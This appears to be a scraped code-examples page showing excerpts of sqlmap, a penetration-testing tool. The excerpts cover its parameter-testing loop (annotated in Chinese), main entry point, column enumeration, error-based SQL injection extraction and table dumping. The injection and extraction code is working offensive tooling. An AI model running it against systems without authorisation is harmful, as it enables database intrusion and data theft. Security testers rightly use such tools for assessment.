                    # Test Cookie header only if --level >= 2 #只有cookie 级别>=2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True # True表示未注入过
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False # False 表示注入过

                            infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False # False 表示注入过

                            infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip:
                            testSqlInj = False # False 表示注入过

                            infoMsg = "skipping %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS:
                            testSqlInj = False # False 表示注入过

                            infoMsg = "ignoring %s parameter '%s'" % (place, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                            check = checkDynParam(place, parameter, value) #checkDynParam()函数会判断参数是否是动态的

                            if not check:
                                warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter) #参数没有出现动态的
                                logger.warn(warnMsg)

                            else:
                                infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) #参数出现动态的
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:# sql注入测试
                            check = heuristicCheckSqlInjection(place, parameter)#启发性sql注入测试,其实就是先进行一个简单的测试

                            if check != HEURISTIC_TEST.POSITIVE:
                                if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                    infoMsg = "skipping %s parameter '%s'" % (place, parameter)
                                    logger.info(infoMsg)
                                    continue

                            infoMsg = "testing for SQL injection on %s " % place
                            infoMsg += "parameter '%s'" % parameter #在 **参数测试SQL注入**”
                            logger.info(infoMsg)
                            #判断testSqlInj,如果为true,就代表之前没有检测过,然后就会到checkSqlInjection,checkSqlInjection()才是真正开始测试的函数,传入的参数是注入方法如GET,参数名,参数值
                            injection = checkSqlInjection(place, parameter, value) #这里开始执行sql注入,当testSqlInj = False的时候,不会执行
                            proceed = not kb.endDetection

                            if injection is not None and injection.place is not None:
                                kb.injections.append(injection)

                                # In case when user wants to end detection phase (Ctrl+C) #如果当用户想要检测阶段(Ctrl + C)
                                if not proceed:
                                    break

                                msg = "%s parameter '%s' " % (injection.place, injection.parameter)
                                msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "# **参数是脆弱的。你想要测试其他的(如果有的话)?[y / N]
                                test = readInput(msg, default="N")

                                if test[0] not in ("y", "Y"):
                                    proceed = False
                                    paramKey = (conf.hostname, conf.path, None, None)
                                    kb.testedParams.add(paramKey)
                            else:
                                warnMsg = "%s parameter '%s' is not " % (place, parameter)
                                warnMsg += "injectable" # **参数是不可注入的
                                logger.warn(warnMsg)

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data " #没有发现参数提供的测试数据
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" # 例子
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters appear to be not injectable." #所有测试参数似乎不是注射

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase '--level'/'--risk' values "
                        errMsg += "to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'." #重新运行没有提供选项

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)." #请重试开关”——text-only(along with --technique=BU),这种情况下看起来像一个完美的候选人(低文本内容以及比较引擎无法检测至少一个动态参数)

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests. "
                        errMsg += "Please, consider usage of tampering scripts as "
                        errMsg += "your target might filter the queries." #作为启发式测试结果积极强烈建议你继续测试。请考虑使用篡改脚本作为你的目标可能过滤查询。

                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
                        errMsg += "(or '--regexp')" #此外,你可以尝试重新运行通过提供一个有效的价值选择
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses" #此外,你可以尝试重新运行选项通过提供一个有效的值,字符串的字符串可能你选择不匹配完全真实的反应
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses" #此外,你可以尝试重新运行通过提供一个有效的值选项“- regexp”也许你选择了不匹配的正则表达式完全真实的反应

                    raise SqlmapNotVulnerableException(errMsg)
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile() #保存结果
                _saveToHashDB()     #保存session
                _showInjections()   #显示注入结果,包括类型,payload
                _selectInjection()  #

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    exploit = readInput(message, default="Y")

                    condition = not exploit or exploit[0] in ("y", "Y")
                else:
                    condition = True

                if condition:
                    action() #此函数是判断用户提供的参数

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    pass
                elif test[0] in ("n", "N"):
                    return False
                elif test[0] in ("q", "Q"):
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getUnicode(ex.message)

            if conf.multipleTargets:
                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg)
            else:
                logger.critical(errMsg)
                return False

        finally:
Exemplo n.º 49
0
def main():
    """
    Main function of sqlmap when running from command line.
    """

    try:
        dirtyPatches()
        resolveCrossReferences()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        args = cmdLineParser()
        cmdLineOptions.update(
            args.__dict__ if hasattr(args, "__dict__") else args)
        initOptions(cmdLineOptions)

        if checkPipedInput():
            conf.batch = True

        if conf.get("api"):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
            sys.stderr = StdDbOut(conf.taskid, messagetype="stderr")
            setRestAPILog()

        conf.showTime = True
        dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER,
                     forceOutput=True)
        dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"),
                     forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                os._exitcode = 1 - (smokeTest() or 0)
            elif conf.vulnTest:
                from lib.core.testing import vulnTest
                os._exitcode = 1 - (vulnTest() or 0)
            elif conf.liveTest:
                from lib.core.testing import liveTest
                os._exitcode = 1 - (liveTest() or 0)
            else:
                from lib.controller.controller import start
                if conf.profile and six.PY2:
                    from lib.core.profiling import profile
                    globals()["start"] = start
                    profile()
                else:
                    try:
                        if conf.crawlDepth and conf.bulkFile:
                            targets = getFileItems(conf.bulkFile)

                            for i in xrange(len(targets)):
                                try:
                                    kb.targets.clear()
                                    target = targets[i]

                                    if not re.search(r"(?i)\Ahttp[s]*://",
                                                     target):
                                        target = "http://%s" % target

                                    infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (
                                        target, i + 1, len(targets))
                                    logger.info(infoMsg)

                                    crawl(target)
                                except Exception as ex:
                                    if not isinstance(ex,
                                                      SqlmapUserQuitException):
                                        errMsg = "problem occurred while crawling '%s' ('%s')" % (
                                            target, getSafeExString(ex))
                                        logger.error(errMsg)
                                    else:
                                        raise
                                else:
                                    if kb.targets:
                                        start()
                        else:
                            start()
                    except Exception as ex:
                        os._exitcode = 1

                        if "can't start new thread" in getSafeExString(ex):
                            errMsg = "unable to start new threads. Please check OS (u)limits"
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        if not conf.batch:
            errMsg = "user quit"
            logger.error(errMsg)

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        logger.critical(errMsg)

        raise SystemExit

    except KeyboardInterrupt:
        print()

    except EOFError:
        print()

        errMsg = "exit"
        logger.error(errMsg)

    except SystemExit:
        pass

    except:
        print()
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")):
            errMsg = "memory exhaustion detected"
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded",
                                       "Disk full while accessing")):
            errMsg = "no space left on output device"
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in ("The paging file is too small", )):
            errMsg = "no space left for paging file"
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg
                 for _ in ("Access is denied", "subprocess", "metasploit")):
            errMsg = "permission error occurred while running Metasploit"
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in ("Permission denied", "metasploit")):
            errMsg = "permission error occurred while using Metasploit"
            logger.critical(errMsg)
            raise SystemExit

        elif "Read-only file system" in excMsg:
            errMsg = "output device is mounted as read-only"
            logger.critical(errMsg)
            raise SystemExit

        elif "OperationalError: disk I/O error" in excMsg:
            errMsg = "I/O error on output device"
            logger.critical(errMsg)
            raise SystemExit

        elif "Violation of BIDI" in excMsg:
            errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)"
            logger.critical(errMsg)
            raise SystemExit

        elif "Invalid IPv6 URL" in excMsg:
            errMsg = "invalid URL ('%s')" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif "_mkstemp_inner" in excMsg:
            errMsg = "there has been a problem while accessing temporary files"
            logger.critical(errMsg)
            raise SystemExit

        elif any(_ in excMsg
                 for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")):
            errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir(
            )
            errMsg += "Please make sure that your disk is not full and "
            errMsg += "that you have sufficient write permissions to "
            errMsg += "create temporary files and/or directories"
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")):
            errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) "
            errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)"
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")):
            errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) "
            errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)"
            logger.critical(errMsg)
            raise SystemExit

        elif "must be pinned buffer, not bytearray" in excMsg:
            errMsg = "error occurred at Python interpreter which "
            errMsg += "is fixed in 2.7. Please update accordingly "
            errMsg += "(Reference: https://bugs.python.org/issue8104)"
            logger.critical(errMsg)
            raise SystemExit

        elif "can't start new thread" in excMsg:
            errMsg = "there has been a problem while creating new thread instance. "
            errMsg += "Please make sure that you are not running too many processes"
            if not IS_WIN:
                errMsg += " (or increase the 'ulimit -u' value)"
            logger.critical(errMsg)
            raise SystemExit

        elif "can't allocate read lock" in excMsg:
            errMsg = "there has been a problem in regular socket operation "
            errMsg += "('%s')" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in ("pymysql", "configparser")):
            errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in ("window = tkinter.Tk()", )):
            errMsg = "there has been a problem in initialization of GUI interface "
            errMsg += "('%s')" % excMsg.strip().split('\n')[-1]
            logger.critical(errMsg)
            raise SystemExit

        elif kb.get("dumpKeyboardInterrupt"):
            raise SystemExit

        elif any(_ in excMsg for _ in ("Broken pipe", )):
            raise SystemExit

        elif valid is False:
            errMsg = "code integrity check failed (turning off automatic issue creation). "
            errMsg += "You should retrieve the latest development version from official GitHub "
            errMsg += "repository at '%s'" % GIT_PAGE
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in ("tamper/", "waf/")):
            logger.critical(errMsg)
            print()
            dataToStdout(excMsg)
            raise SystemExit

        elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError",
                                       "Can't find file for module")):
            errMsg = "invalid runtime environment ('%s')" % excMsg.split(
                "Error: ")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in (
                "SyntaxError: Non-ASCII character", ".py on line",
                "but no encoding declared")) or any(
                    _ in excMsg
                    for _ in ("source code string cannot contain null bytes",
                              "No module named")):
            errMsg = "invalid runtime environment ('%s')" % excMsg.split(
                "Error: ")[-1].strip()
            logger.critical(errMsg)
            raise SystemExit

        elif all(_ in excMsg for _ in ("No such file", "_'")):
            errMsg = "corrupted installation detected ('%s'). " % excMsg.strip(
            ).split('\n')[-1]
            errMsg += "You should retrieve the latest development version from official GitHub "
            errMsg += "repository at '%s'" % GIT_PAGE
            logger.critical(errMsg)
            raise SystemExit

        elif "'DictObject' object has no attribute '" in excMsg and all(
                _ in errMsg for _ in ("(fingerprinted)", "(identified)")):
            errMsg = "there has been a problem in enumeration. "
            errMsg += "Because of a considerable chance of false-positive case "
            errMsg += "you are advised to rerun with switch '--flush-session'"
            logger.critical(errMsg)
            raise SystemExit

        elif "bad marshal data (unknown type code)" in excMsg:
            match = re.search(r"\s*(.+)\s+ValueError", excMsg)
            errMsg = "one of your .pyc files are corrupted%s" % (
                " ('%s')" % match.group(1) if match else "")
            errMsg += ". Please delete .pyc files on your system to fix the problem"
            logger.critical(errMsg)
            raise SystemExit

        for match in re.finditer(r'File "(.+?)", line', excMsg):
            file_ = match.group(1)
            try:
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
            except ValueError:
                pass
            file_ = file_.replace("\\", '/')
            if "../" in file_:
                file_ = re.sub(r"(\.\./)+", '/', file_)
            else:
                file_ = file_.lstrip('/')
            file_ = re.sub(r"/{2,}", '/', file_)
            excMsg = excMsg.replace(match.group(1), file_)

        errMsg = maskSensitiveData(errMsg)
        excMsg = maskSensitiveData(excMsg)

        if conf.get("api") or not valid:
            logger.critical("%s\n%s" % (errMsg, excMsg))
        else:
            logger.critical(errMsg)
            dataToStdout("%s\n" %
                         setColor(excMsg.strip(), level=logging.CRITICAL))
            createGithubIssue(errMsg, excMsg)

    finally:
        kb.threadContinue = False

        _ = getDaysFromLastUpdate()
        if _ > LAST_UPDATE_NAGGING_DAYS:
            warnMsg = "you haven't updated sqlmap for more than %d days!!!" % _
            logger.warn(warnMsg)

        if conf.get("showTime"):
            dataToStdout("\n[*] ending @ %s\n\n" %
                         time.strftime("%X /%Y-%m-%d/"),
                         forceOutput=True)

        kb.threadException = True

        if kb.get("tempDir"):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING,
                           MKSTEMP_PREFIX.COOKIE_JAR,
                           MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(
                        os.path.join(kb.tempDir, "%s*" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass

            if not filterNone(
                    filepath
                    for filepath in glob.glob(os.path.join(kb.tempDir, '*'))
                    if not any(
                        filepath.endswith(_)
                        for _ in (".lock", ".exe", ".so",
                                  '_'))):  # ignore junk files
                try:
                    shutil.rmtree(kb.tempDir, ignore_errors=True)
                except OSError:
                    pass

        if conf.get("hashDB"):
            conf.hashDB.flush(True)

        if conf.get("harFile"):
            try:
                with openFile(conf.harFile, "w+b") as f:
                    json.dump(conf.httpCollector.obtain(),
                              fp=f,
                              indent=4,
                              separators=(',', ': '))
            except SqlmapBaseException as ex:
                errMsg = getSafeExString(ex)
                logger.critical(errMsg)

        if conf.get("api"):
            conf.databaseCursor.disconnect()

        if conf.get("dumper"):
            conf.dumper.flush()

        # short delay for thread finalization
        _ = time.time()
        while threading.activeCount() > 1 and (
                time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
            time.sleep(0.01)

        if cmdLineOptions.get("sqlmapShell"):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()
Exemplo n.º 50
0
    def getColumns(self,
                   onlyColNames=False,
                   colTuple=None,
                   bruteForce=None,
                   dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            colList = conf.col.split(',')
        else:
            colList = []

        if conf.exclude:
            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        if conf.tbl:
            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise SqlmapNoneDataException(errMsg)

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = {
                                safeSQLIdentificatorNaming(tbl, True): columns
                            }

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? [y/N/q] "
            choice = readInput(message,
                               default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[DBMS.MAXDB].columns

        for tbl in tblList:
            if conf.db is not None and len(
                    kb.data.cachedColumns
            ) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                    conf.db]:
                infoMsg = "fetched tables' columns on "
                infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                return {conf.db: kb.data.cachedColumns[conf.db]}

            if dumpMode and colList:
                table = {}
                table[safeSQLIdentificatorNaming(tbl, True)] = dict(
                    (_, None) for _ in colList)
                kb.data.cachedColumns[safeSQLIdentificatorNaming(
                    conf.db)] = table
                continue

            infoMsg = "fetching columns "
            infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
            infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
                conf.db)
            logger.info(infoMsg)

            query = rootQuery.inband.query % (
                unsafeSQLIdentificatorNaming(tbl),
                ("'%s'" % unsafeSQLIdentificatorNaming(conf.db))
                if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
            retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), [
                '%s.columnname' % kb.aliasName,
                '%s.datatype' % kb.aliasName,
                '%s.len' % kb.aliasName
            ],
                                    blind=True)

            if retVal:
                table = {}
                columns = {}

                for columnname, datatype, length in zip(
                        retVal[0]["%s.columnname" % kb.aliasName],
                        retVal[0]["%s.datatype" % kb.aliasName],
                        retVal[0]["%s.len" % kb.aliasName]):
                    columns[safeSQLIdentificatorNaming(
                        columnname)] = "%s(%s)" % (datatype, length)

                table[tbl] = columns
                kb.data.cachedColumns[conf.db] = table

        return kb.data.cachedColumns
Exemplo n.º 51
0
                else:
                    # Run doc tests
                    # Reference: http://docs.python.org/library/doctest.html
                    (failure_count, test_count) = doctest.testmod(module)
                    if failure_count > 0:
                        retVal = False

                count += 1
                status = '%d/%d (%d%%) ' % (count, length,
                                            round(100.0 * count / length))
                dataToStdout("\r[%s] [INFO] complete: %s" %
                             (time.strftime("%X"), status))

    clearConsoleLine()
    if retVal:
        logger.info("smoke test final result: PASSED")
    else:
        logger.error("smoke test final result: FAILED")

    return retVal


def adjustValueType(tagName, value):
    for family in optDict.keys():
        for name, type_ in optDict[family].items():
            if type(type_) == tuple:
                type_ = type_[0]
            if tagName == name:
                if type_ == "boolean":
                    value = (value == "True")
                elif type_ == "integer":
Exemplo n.º 52
0
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")
            elif conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tr>\n")

            self._write("|", console=console)

        self._write("%s\n" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" %
                        (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "</tbody>\n</table>\n</body>\n</html>")
            else:
                dataToDumpFile(dumpFP, "\n")
            dumpFP.close()

            msg = "table '%s.%s' dumped to %s file '%s'" % (
                db, table, conf.dumpFormat, dumpFileName)
            if not warnFile:
                logger.info(msg)
            else:
                logger.warn(msg)
Exemplo n.º 53
0
def _oneShotErrorUse(expression, field=None):
    offset = 1
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" %
                    _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if Backend.isDbms(DBMS.MYSQL):
        chunk_length = MYSQL_ERROR_CHUNK_LENGTH
    elif Backend.isDbms(DBMS.MSSQL):
        chunk_length = MSSQL_ERROR_CHUNK_LENGTH
    else:
        chunk_length = None

    if retVal is None or partialValue:
        try:
            while True:
                check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
                trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start)

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(
                            Backend.isDbms(dbms)
                            for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
                                _ in field for _ in ("COUNT", "CASE")
                            ):  # skip chunking of scalar expression (unneeded)
                        extendedField = re.search(
                            r"[^ ,]*%s[^ ,]*" % re.escape(field),
                            expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(
                                field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (nulledCastedField, offset,
                                              chunk_length)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField,
                                                   1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers = Request.queryPage(payload,
                                                  content=True,
                                                  raise404=False)

                incrementCounter(kb.technique)

                if page and conf.noEscape:
                    page = re.sub(
                        r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
                        (kb.chars.start, kb.chars.stop), "", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                    if trimmed:
                        warnMsg = "possible server trimmed output detected "
                        warnMsg += "(due to its length and/or content): "
                        warnMsg += safecharencode(trimmed)
                        logger.warn(warnMsg)

                        if not kb.testMode:
                            check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
                            output = extractRegexResult(
                                check, trimmed, re.IGNORECASE)

                if any(
                        Backend.isDbms(dbms)
                        for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and len(output) >= chunk_length:
                        offset += chunk_length
                    else:
                        break

                    if kb.fileReadMode and output:
                        dataToStdout(
                            _formatPartialContent(output).replace(
                                r"\n", "\n").replace(r"\t", "\t"))
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression,
                            "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal,
                                    re.DOTALL | re.IGNORECASE) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Exemplo n.º 54
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0

    for targetUrl, targetMethod, targetData, targetCookie in kb.targets:
        try:
            conf.url = targetUrl
            conf.method = targetMethod
            conf.data = targetData
            conf.cookie = targetCookie

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any(
